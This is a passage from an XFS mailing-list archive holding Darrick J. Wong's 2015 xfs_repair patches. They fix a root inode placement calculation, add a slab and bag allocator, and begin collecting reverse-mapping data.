ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines In xfs_repair, we calculate where we think mkfs put the root inode block. However, the rmapbt component doesn't account for the fact that mkfs reserved 2 AGFL blocks for the rmapbt, so its calculation is off by a bit. This leads to it complaining (incorrectly) about the root inode block being in the wrong place and blowing up. Signed-off-by: Darrick J. Wong --- repair/xfs_repair.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c index 933986a..a464cd3 100644 --- a/repair/xfs_repair.c +++ b/repair/xfs_repair.c @@ -416,8 +416,10 @@ calc_mkfs(xfs_mount_t *mp) fino_bno = inobt_root + (2 * min(2, mp->m_ag_maxlevels)) + 1; if (xfs_sb_version_hasfinobt(&mp->m_sb)) fino_bno++; - if (xfs_sb_version_hasrmapbt(&mp->m_sb)) + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) { + fino_bno += min(2, mp->m_ag_maxlevels); fino_bno++; + } /* * If the log is allocated in the first allocation group we need to From darrick.wong@oracle.com Wed Oct 7 00:08:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2BB4729E90 for ; Wed, 7 Oct 2015 00:08:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7DB2DAC007 for ; Tue, 6 Oct 2015 22:08:20 -0700 (PDT) X-ASG-Debug-ID: 1444194496-04cb6c57860d9e0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id jpQ6IAA1ODgYPBDS (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:08:17 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9758Fgo020966 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:08:16 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9758Fkq030974 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:08:15 GMT Received: from abhmp0016.oracle.com (abhmp0016.oracle.com [141.146.116.22]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9758EgT022784; Wed, 7 Oct 2015 05:08:14 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:08:14 -0700 Subject: [PATCH 28/51] xfs_repair: create a slab API for allocating arrays in large chunks From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 28/51] xfs_repair: create a slab API for allocating arrays in large chunks To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:08:13 -0700 Message-ID: <20151007050813.1504.1060.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194497 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Create a slab-based array and a bag-of-pointers data structure to facilitate rapid linear scans of reverse-mapping data for later reconstruction of the refcount and rmap btrees. Signed-off-by: Darrick J. Wong --- repair/Makefile | 4 repair/slab.c | 473 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ repair/slab.h | 58 +++++++ 3 files changed, 533 insertions(+), 2 deletions(-) create mode 100644 repair/slab.c create mode 100644 repair/slab.h diff --git a/repair/Makefile b/repair/Makefile index 6d84ade..82cba8e 100644 --- a/repair/Makefile +++ b/repair/Makefile @@ -11,14 +11,14 @@ LTCOMMAND = xfs_repair HFILES = agheader.h attr_repair.h avl.h avl64.h bmap.h btree.h \ dinode.h dir2.h err_protos.h globals.h incore.h protos.h rt.h \ - progress.h scan.h versions.h prefetch.h threads.h + progress.h scan.h versions.h prefetch.h threads.h slab.h CFILES = agheader.c attr_repair.c avl.c avl64.c bmap.c btree.c \ dino_chunks.c dinode.c dir2.c globals.c incore.c \ incore_bmc.c init.c incore_ext.c incore_ino.c phase1.c \ phase2.c phase3.c phase4.c phase5.c phase6.c phase7.c \ progress.c prefetch.c rt.c sb.c scan.c threads.c \ - versions.c xfs_repair.c + versions.c xfs_repair.c slab.c LLDLIBS = $(LIBXFS) $(LIBXLOG) $(LIBUUID) $(LIBRT) $(LIBPTHREAD) LTDEPENDENCIES = $(LIBXFS) $(LIBXLOG) diff --git a/repair/slab.c b/repair/slab.c new file mode 100644 index 0000000..bb7019a --- /dev/null +++ b/repair/slab.c @@ -0,0 +1,473 @@ +/* + * Copyright (c) 2015 Oracle. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include +#include "slab.h" + +#undef SLAB_DEBUG + +#ifdef SLAB_DEBUG +# define dbg_printf(f, a...) do {printf(f, ## a); fflush(stdout); } while (0) +#else +# define dbg_printf(f, a...) +#endif + +/* + * Slab Arrays and Bags + * + * The slab array is a dynamically growable linear array. Internally it + * maintains a list of slabs of increasing size; when a slab fills up, another + * is allocated. Each slab is sorted individually, which means that one must + * use an iterator to walk the entire logical array, sorted order or otherwise. + * Array items can neither be removed nor accessed randomly, since (at the + * moment) the only user of them (storing reverse mappings) doesn't need either + * piece. Pointers are not stable across sort operations. + * + * A bag is a collection of pointers. The bag can be added to or removed from + * arbitrarily, and the bag items can be iterated. Bags are used to process + * rmaps into refcount btree entries. + */ + +/* + * Slabs -- each slab_hdr holds an array of items; when a slab_hdr fills up, we + * allocate a new one and add to that one. The slab object coordinates the + * slab_hdrs. + */ + +/* Each slab holds at least 4096 items */ +#define MIN_SLAB_NR 4096 +/* and cannot be larger than 128M */ +#define MAX_SLAB_SIZE (128 * 1048576) +struct xfs_slab_hdr { + size_t sh_nr; + size_t sh_inuse; /* items in use */ + struct xfs_slab_hdr *sh_next; /* next slab hdr */ + /* objects follow */ +}; + +struct xfs_slab { + size_t s_item_sz; /* item size */ + size_t s_nr_slabs; /* # of slabs */ + size_t s_nr_items; /* # of items */ + struct xfs_slab_hdr *s_first; /* first slab header */ + struct xfs_slab_hdr *s_last; /* last sh_next pointer */ +}; + +/* + * Slab cursors -- each slab_hdr_cursor tracks a slab_hdr; the slab_cursor + * tracks the slab_hdr_cursors. If a compare_fn is specified, the cursor + * returns objects in increasing order (if you've previously sorted the + * slabs with qsort_slab()). If compare_fn == NULL, it returns slab items + * in order. + */ +struct xfs_slab_hdr_cursor { + struct xfs_slab_hdr *hdr; /* a slab header */ + size_t loc; /* where we are in the slab */ +}; + +struct xfs_slab_cursor { + size_t nr; /* # of per-slab cursors */ + struct xfs_slab *slab; /* pointer to the slab */ + struct xfs_slab_hdr_cursor *last_hcur; /* last header we took from */ + int (*compare_fn)(const void *, const void *); /* compare function */ + struct xfs_slab_hdr_cursor hcur[0]; /* per-slab curosr */ +}; + +/* + * Bags -- each bag is an array of pointers items; when a bag fills up, we + * resize it. + */ +#define MIN_BAG_SIZE 4096 +struct xfs_bag { + size_t bg_nr; /* number of pointers */ + size_t bg_inuse; /* number of slots in use */ + void **bg_ptrs; /* pointers */ +}; +#define BAG_SIZE(nr) (sizeof(struct xfs_bag) + ((nr) * sizeof(void *))) +#define BAG_END(bag) (&(bag)->bg_ptrs[(bag)->bg_nr]) + +/** + * init_slab() -- Create a slab to hold some objects. + * + * @slab: The slab. + * @item_size: Create items of this size. + */ +int +init_slab( + struct xfs_slab **slab, + size_t item_size) +{ + struct xfs_slab *ptr; + + ptr = calloc(1, sizeof(struct xfs_slab)); + if (!ptr) + return -ENOMEM; + ptr->s_item_sz = item_size; + ptr->s_last = NULL; + *slab = ptr; + + return 0; +} + +/** + * free_slab() -- Frees a slab. + */ +void +free_slab( + struct xfs_slab **slab) +{ + struct xfs_slab *ptr; + struct xfs_slab_hdr *hdr; + struct xfs_slab_hdr *nhdr; + + ptr = *slab; + if (!ptr) + return; + hdr = ptr->s_first; + while (hdr) { + nhdr = hdr->sh_next; + free(hdr); + hdr = nhdr; + } + free(ptr); + *slab = NULL; +} + +static void * +slab_ptr( + struct xfs_slab *slab, + struct xfs_slab_hdr *hdr, + size_t idx) +{ + char *p; + + ASSERT(idx < hdr->sh_inuse); + p = (char *)(hdr + 1); + p += slab->s_item_sz * idx; + return p; +} + +/** + * slab_add() -- Add an item to the slab. + */ +int +slab_add( + struct xfs_slab *slab, + void *item) +{ + struct xfs_slab_hdr *hdr; + void *p; + + hdr = slab->s_last; + if (!hdr || hdr->sh_inuse == hdr->sh_nr) { + size_t n; + + n = (hdr ? hdr->sh_nr * 2 : MIN_SLAB_NR); + if (n * slab->s_item_sz > MAX_SLAB_SIZE) + n = MAX_SLAB_SIZE / slab->s_item_sz; + hdr = malloc(sizeof(struct xfs_slab_hdr) + (n * slab->s_item_sz)); + if (!hdr) + return -ENOMEM; + hdr->sh_nr = n; + hdr->sh_inuse = 0; + hdr->sh_next = NULL; + if (slab->s_last) + slab->s_last->sh_next = hdr; + if (!slab->s_first) + slab->s_first = hdr; + slab->s_last = hdr; + slab->s_nr_slabs++; + } + hdr->sh_inuse++; + p = slab_ptr(slab, hdr, hdr->sh_inuse - 1); + memcpy(p, item, slab->s_item_sz); + slab->s_nr_items++; + + return 0; +} + +/** + * qsort_slab() -- Sort the items in the slab. Do not run this method + * if there are any cursors holding on to the slab. + */ +void +qsort_slab( + struct xfs_slab *slab, + int (*compare_fn)(const void *, const void *)) +{ + struct xfs_slab_hdr *hdr; + + hdr = slab->s_first; + while (hdr) { + qsort(slab_ptr(slab, hdr, 0), hdr->sh_inuse, slab->s_item_sz, + compare_fn); + hdr = hdr->sh_next; + } +} + +/* + * init_slab_cursor() -- Create a slab cursor to iterate the slab items. + * + * @slab: The slab. + * @compare_fn: If specified, use this function to return items in ascending order. + * @cur: The new cursor. + */ +int +init_slab_cursor( + struct xfs_slab *slab, + int (*compare_fn)(const void *, const void *), + struct xfs_slab_cursor **cur) +{ + struct xfs_slab_cursor *c; + struct xfs_slab_hdr_cursor *hcur; + struct xfs_slab_hdr *hdr; + + c = malloc(sizeof(struct xfs_slab_cursor) + + (sizeof(struct xfs_slab_hdr_cursor) * slab->s_nr_slabs)); + if (!c) + return -ENOMEM; + c->nr = slab->s_nr_slabs; + c->slab = slab; + c->compare_fn = compare_fn; + c->last_hcur = NULL; + hcur = (struct xfs_slab_hdr_cursor *)(c + 1); + hdr = slab->s_first; + while (hdr) { + hcur->hdr = hdr; + hcur->loc = 0; + hcur++; + hdr = hdr->sh_next; + } + *cur = c; + return 0; +} + +/** + * free_slab_cursor() -- Free the slab cursor. + */ +void +free_slab_cursor( + struct xfs_slab_cursor **cur) +{ + if (!*cur) + return; + free(*cur); + *cur = NULL; +} + +/** + * peek_slab_cursor() -- Return the smallest item in the slab, without + * advancing the iterator. The slabs must be sorted prior to the creation + * of the cursor. + */ +void * +peek_slab_cursor( + struct xfs_slab_cursor *cur) +{ + struct xfs_slab_hdr_cursor *hcur; + void *p = NULL; + void *q; + size_t i; + + cur->last_hcur = NULL; + + /* no compare function; inorder traversal */ + if (!cur->compare_fn) { + if (!cur->last_hcur) + cur->last_hcur = &cur->hcur[0]; + hcur = cur->last_hcur; + while (hcur < &cur->hcur[cur->nr] && + hcur->loc >= hcur->hdr->sh_inuse) + hcur++; + if (hcur == &cur->hcur[cur->nr]) + return NULL; + p = slab_ptr(cur->slab, hcur->hdr, hcur->loc); + cur->last_hcur = hcur; + return p; + } + + /* otherwise return things in increasing order */ + for (i = 0, hcur = &cur->hcur[i]; i < cur->nr; i++, hcur++) { + if (hcur->loc >= hcur->hdr->sh_inuse) + continue; + q = slab_ptr(cur->slab, hcur->hdr, hcur->loc); + if (!p || cur->compare_fn(p, q) > 0) { + p = q; + cur->last_hcur = hcur; + } + } + + return p; +} + +/** + * advance_slab_cursor() -- After a peek operation, advance the cursor. + */ +void +advance_slab_cursor( + struct xfs_slab_cursor *cur) +{ + ASSERT(cur->last_hcur); + cur->last_hcur->loc++; +} + +/** + * pop_slab_cursor() -- Retrieve the next item in the slab and advance the + * cursor. + */ +void * +pop_slab_cursor( + struct xfs_slab_cursor *cur) +{ + void *p; + + p = peek_slab_cursor(cur); + if (p) + advance_slab_cursor(cur); + return p; +} + +/** + * slab_count() -- Return the number of items in the slab. + */ +size_t +slab_count( + struct xfs_slab *slab) +{ + return slab->s_nr_items; +} + +/** + * init_bag() -- Create a bag to point to some objects. + * + * @bag: The bag. + */ +int +init_bag( + struct xfs_bag **bag) +{ + struct xfs_bag *ptr; + + ptr = calloc(1, sizeof(struct xfs_bag)); + if (!ptr) + return -ENOMEM; + ptr->bg_ptrs = calloc(MIN_BAG_SIZE, sizeof(void *)); + if (!ptr->bg_ptrs) { + free(ptr); + return -ENOMEM; + } + ptr->bg_nr = MIN_BAG_SIZE; + *bag = ptr; + return 0; +} + +/** + * free_bag() - Free a bag of pointers. + * + * @bag: The bag to free. + */ +void +free_bag( + struct xfs_bag **bag) +{ + struct xfs_bag *ptr; + + ptr = *bag; + if (!ptr) + return; + free(ptr->bg_ptrs); + free(ptr); + *bag = NULL; +} + +/** + * bag_add() - Add an object to the pointer bag. + * + * @bag: The bag. + * @ptr: The pointer to add to the bag. + */ +int +bag_add( + struct xfs_bag *bag, + void *ptr) +{ + void **p, **x; + + p = &bag->bg_ptrs[bag->bg_inuse]; + if (p == BAG_END(bag)) { + /* No free space, alloc more pointers */ + size_t nr; + + nr = bag->bg_nr * 2; + x = realloc(bag->bg_ptrs, nr * sizeof(void *)); + if (!x) + return -ENOMEM; + bag->bg_ptrs = x; + memset(BAG_END(bag), 0, bag->bg_nr * sizeof(void *)); + bag->bg_nr = nr; + } + bag->bg_ptrs[bag->bg_inuse] = ptr; + bag->bg_inuse++; + return 0; +} + +/** + * bag_remove() - Remove a pointer from a bag. + * + * @bag: The bag. + * @idx: The number of the pointer to remove. + */ +int +bag_remove( + struct xfs_bag *bag, + size_t nr) +{ + ASSERT(nr < bag->bg_inuse); + memmove(&bag->bg_ptrs[nr], &bag->bg_ptrs[nr + 1], + (bag->bg_inuse - nr) * sizeof(void *)); + bag->bg_inuse--; + return 0; +} + +/** + * bag_count() - Return the number of items in a bag. + * + * @bag: The bag. + */ +size_t +bag_count( + struct xfs_bag *bag) +{ + return bag->bg_inuse; +} + +/** + * bag_item() - Return the nth item in a bag. + * + * @bag: The bag. + * @nr: The item number. + */ +void * +bag_item( + struct xfs_bag *bag, + size_t nr) +{ + if (nr >= bag->bg_inuse) + return NULL; + return bag->bg_ptrs[nr]; +} diff --git a/repair/slab.h b/repair/slab.h new file mode 100644 index 0000000..8142914 --- /dev/null +++ b/repair/slab.h @@ -0,0 +1,58 @@ +/* + * Copyright (c) 2015 Oracle. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef SLAB_H_ +#define SLAB_H_ + +struct xfs_slab; +struct xfs_slab_cursor; + +extern int init_slab(struct xfs_slab **, size_t); +extern void free_slab(struct xfs_slab **); + +extern int slab_add(struct xfs_slab *, void *); +extern void qsort_slab(struct xfs_slab *, int (*)(const void *, const void *)); +extern size_t slab_count(struct xfs_slab *); + +extern int init_slab_cursor(struct xfs_slab *, + int (*)(const void *, const void *), struct xfs_slab_cursor **); +extern void free_slab_cursor(struct xfs_slab_cursor **); + +extern void *peek_slab_cursor(struct xfs_slab_cursor *); +extern void advance_slab_cursor(struct xfs_slab_cursor *); +extern void *pop_slab_cursor(struct xfs_slab_cursor *); + +struct xfs_bag; + +extern int init_bag(struct xfs_bag **); +extern void free_bag(struct xfs_bag **); +extern int bag_add(struct xfs_bag *, void *); +extern int bag_remove(struct xfs_bag *, size_t); +extern size_t bag_count(struct xfs_bag *); +extern void *bag_item(struct xfs_bag *, size_t); + +#define foreach_bag_ptr(bag, idx, ptr) \ + for ((idx) = 0, (ptr) = bag_item((bag), (idx)); \ + (idx) < bag_count(bag); \ + (idx)++, (ptr) = bag_item((bag), (idx))) + +#define foreach_bag_ptr_reverse(bag, idx, ptr) \ + for ((idx) = bag_count(bag) - 1, (ptr) = bag_item((bag), (idx)); \ + (idx) >= 0 && (ptr) != NULL; \ + (idx)--, (ptr) = bag_item((bag), (idx))) + +#endif /* SLAB_H_ */ From darrick.wong@oracle.com Wed Oct 7 00:08:26 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B67FF29EB4 for ; Wed, 7 Oct 2015 00:08:25 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3F219AC006 for ; Tue, 6 Oct 2015 22:08:25 -0700 (PDT) X-ASG-Debug-ID: 1444194502-04bdf020db0e9b0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 7FfbWLktCo1ZWAuH (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:08:22 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9758LO1016774 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:08:22 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9758LCO005703 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:08:21 GMT Received: from abhmp0015.oracle.com (abhmp0015.oracle.com [141.146.116.21]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9758LDm007333; Wed, 7 Oct 2015 05:08:21 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:08:20 -0700 Subject: [PATCH 29/51] xfs_repair: collect reverse-mapping data for refcount/rmap tree rebuilding From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 29/51] xfs_repair: collect reverse-mapping data for refcount/rmap tree rebuilding To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:08:19 -0700 Message-ID: <20151007050819.1504.30373.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194502 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Collect reverse-mapping data for the entire filesystem so that we can later check and rebuild the reference count tree and the reverse mapping tree. Signed-off-by: Darrick J. Wong --- repair/Makefile | 4 + repair/dinode.c | 9 ++ repair/phase4.c | 5 + repair/rmap.c | 195 +++++++++++++++++++++++++++++++++++++++++++++++++++ repair/rmap.h | 30 ++++++++ repair/xfs_repair.c | 4 + 6 files changed, 245 insertions(+), 2 deletions(-) create mode 100644 repair/rmap.c create mode 100644 repair/rmap.h diff --git a/repair/Makefile b/repair/Makefile index 82cba8e..7239a9e 100644 --- a/repair/Makefile +++ b/repair/Makefile @@ -11,14 +11,14 @@ LTCOMMAND = xfs_repair HFILES = agheader.h attr_repair.h avl.h avl64.h bmap.h btree.h \ dinode.h dir2.h err_protos.h globals.h incore.h protos.h rt.h \ - progress.h scan.h versions.h prefetch.h threads.h slab.h + progress.h scan.h versions.h prefetch.h threads.h slab.h rmap.h CFILES = agheader.c attr_repair.c avl.c avl64.c bmap.c btree.c \ dino_chunks.c dinode.c dir2.c globals.c incore.c \ incore_bmc.c init.c incore_ext.c incore_ino.c phase1.c \ phase2.c phase3.c phase4.c phase5.c phase6.c phase7.c \ progress.c prefetch.c rt.c sb.c scan.c threads.c \ - versions.c xfs_repair.c slab.c + versions.c xfs_repair.c slab.c rmap.c LLDLIBS = $(LIBXFS) $(LIBXLOG) $(LIBUUID) $(LIBRT) $(LIBPTHREAD) LTDEPENDENCIES = $(LIBXFS) $(LIBXLOG) diff --git a/repair/dinode.c b/repair/dinode.c index e81c245..2c0a421 100644 --- a/repair/dinode.c +++ b/repair/dinode.c @@ -30,6 +30,8 @@ #include "attr_repair.h" #include "bmap.h" #include "threads.h" +#include "slab.h" +#include "rmap.h" /* * gettext lookups for translations of strings use mutexes internally to @@ -779,6 +781,13 @@ _("illegal state %d in block map %" PRIu64 "\n"), state, b); } } + if (collect_rmaps) { /* && !check_dups */ + error = add_rmap(mp, ino, whichfork, &irec); + if (error) + do_error( +_("couldn't add reverse mapping\n") + ); + } *tot += irec.br_blockcount; } error = 0; diff --git a/repair/phase4.c b/repair/phase4.c index 1a7d7b5..bc43cd8 100644 --- a/repair/phase4.c +++ b/repair/phase4.c @@ -30,7 +30,10 @@ #include "versions.h" #include "dir2.h" #include "progress.h" +#include "slab.h" +#include "rmap.h" +bool collect_rmaps = false; /* * null out quota inode fields in sb if they point to non-existent inodes. @@ -170,6 +173,8 @@ phase4(xfs_mount_t *mp) int ag_hdr_block; int bstate; + if (needs_rmap_work(mp)) + collect_rmaps = true; ag_hdr_block = howmany(ag_hdr_len, mp->m_sb.sb_blocksize); do_log(_("Phase 4 - check for duplicate blocks...\n")); diff --git a/repair/rmap.c b/repair/rmap.c new file mode 100644 index 0000000..1a73dbb --- /dev/null +++ b/repair/rmap.c @@ -0,0 +1,195 @@ +/* + * Copyright (c) 2015 Oracle. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include +#include "btree.h" +#include "err_protos.h" +#include "libxlog.h" +#include "incore.h" +#include "globals.h" +#include "dinode.h" +#include "slab.h" +#include "rmap.h" + +#undef RMAP_DEBUG + +#ifdef RMAP_DEBUG +# define dbg_printf(f, a...) do {printf(f, ## a); fflush(stdout); } while (0) +#else +# define dbg_printf(f, a...) +#endif + +/* per-AG rmap object anchor */ +struct xfs_ag_rmap { + struct xfs_slab *ar_rmaps; /* rmap observations, p4 */ +}; + +static struct xfs_ag_rmap *ag_rmaps; + +/* + * Compare rmap observations for array sorting. + */ +static int +rmap_compare( + const void *a, + const void *b) +{ + const struct xfs_rmap_irec *pa; + const struct xfs_rmap_irec *pb; + + pa = a; pb = b; + if (pa->rm_startblock < pb->rm_startblock) + return -1; + else if (pa->rm_startblock > pb->rm_startblock) + return 1; + else if (pa->rm_owner < pb->rm_owner) + return -1; + else if (pa->rm_owner > pb->rm_owner) + return 1; + else if (pa->rm_offset < pb->rm_offset) + return -1; + else if (pa->rm_offset > pb->rm_offset) + return 1; + else + return 0; +} + +/** + * needs_rmap_work() -- Return true if we must reconstruct either the + * reference count or reverse mapping trees. + * + * @mp: XFS mount object + */ +bool +needs_rmap_work( + struct xfs_mount *mp) +{ + return xfs_sb_version_hasrmapbt(&mp->m_sb); +} + +/** + * init_rmaps() -- Initialize per-AG reverse map data. + * + * @mp: XFS mount object + */ +void +init_rmaps( + struct xfs_mount *mp) +{ + xfs_agnumber_t i; + int error; + + if (!needs_rmap_work(mp)) + return; + + ag_rmaps = calloc(mp->m_sb.sb_agcount, sizeof(struct xfs_ag_rmap)); + if (!ag_rmaps) + do_error(_("couldn't allocate per-AG reverse map roots\n")); + + for (i = 0; i < mp->m_sb.sb_agcount; i++) { + error = init_slab(&ag_rmaps[i].ar_rmaps, + sizeof(struct xfs_rmap_irec)); + if (error) + do_error( +_("Insufficient memory while allocating reverse mapping slabs.")); + } +} + +/** + * free_rmaps() -- Free the per-AG reverse-mapping data. + * + * @mp: XFS mount object + */ +void +free_rmaps( + struct xfs_mount *mp) +{ + xfs_agnumber_t i; + + if (!needs_rmap_work(mp)) + return; + + for (i = 0; i < mp->m_sb.sb_agcount; i++) { + free_slab(&ag_rmaps[i].ar_rmaps); + } + free(ag_rmaps); + ag_rmaps = NULL; +} + +/** + * add_rmap() -- Add an observation about a physical block mapping for later + * btree reconstruction. + * + * @mp: XFS mount object. + * @ino: The inode number associated with the extent mapping. + * @whichfork: Data or attribute fork? + * @irec: The extent mapping to record. + */ +int +add_rmap( + struct xfs_mount *mp, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *irec) +{ + struct xfs_slab *rmaps; + struct xfs_rmap_irec rmap; + xfs_agnumber_t agno; + xfs_agblock_t agbno; + + if (!needs_rmap_work(mp)) + return 0; + + agno = XFS_FSB_TO_AGNO(mp, irec->br_startblock); + agbno = XFS_FSB_TO_AGBNO(mp, irec->br_startblock); + ASSERT(agno != NULLAGNUMBER); + ASSERT(agno < mp->m_sb.sb_agcount); + ASSERT(agbno + irec->br_blockcount <= mp->m_sb.sb_agblocks); + ASSERT(ino != NULLFSINO); + ASSERT(whichfork == XFS_DATA_FORK || whichfork == XFS_ATTR_FORK); + + rmaps = ag_rmaps[agno].ar_rmaps; + rmap.rm_owner = ino; + rmap.rm_offset = irec->br_startoff; + if (whichfork == XFS_ATTR_FORK) + rmap.rm_offset |= XFS_RMAP_OFF_ATTR; + rmap.rm_startblock = agbno; + 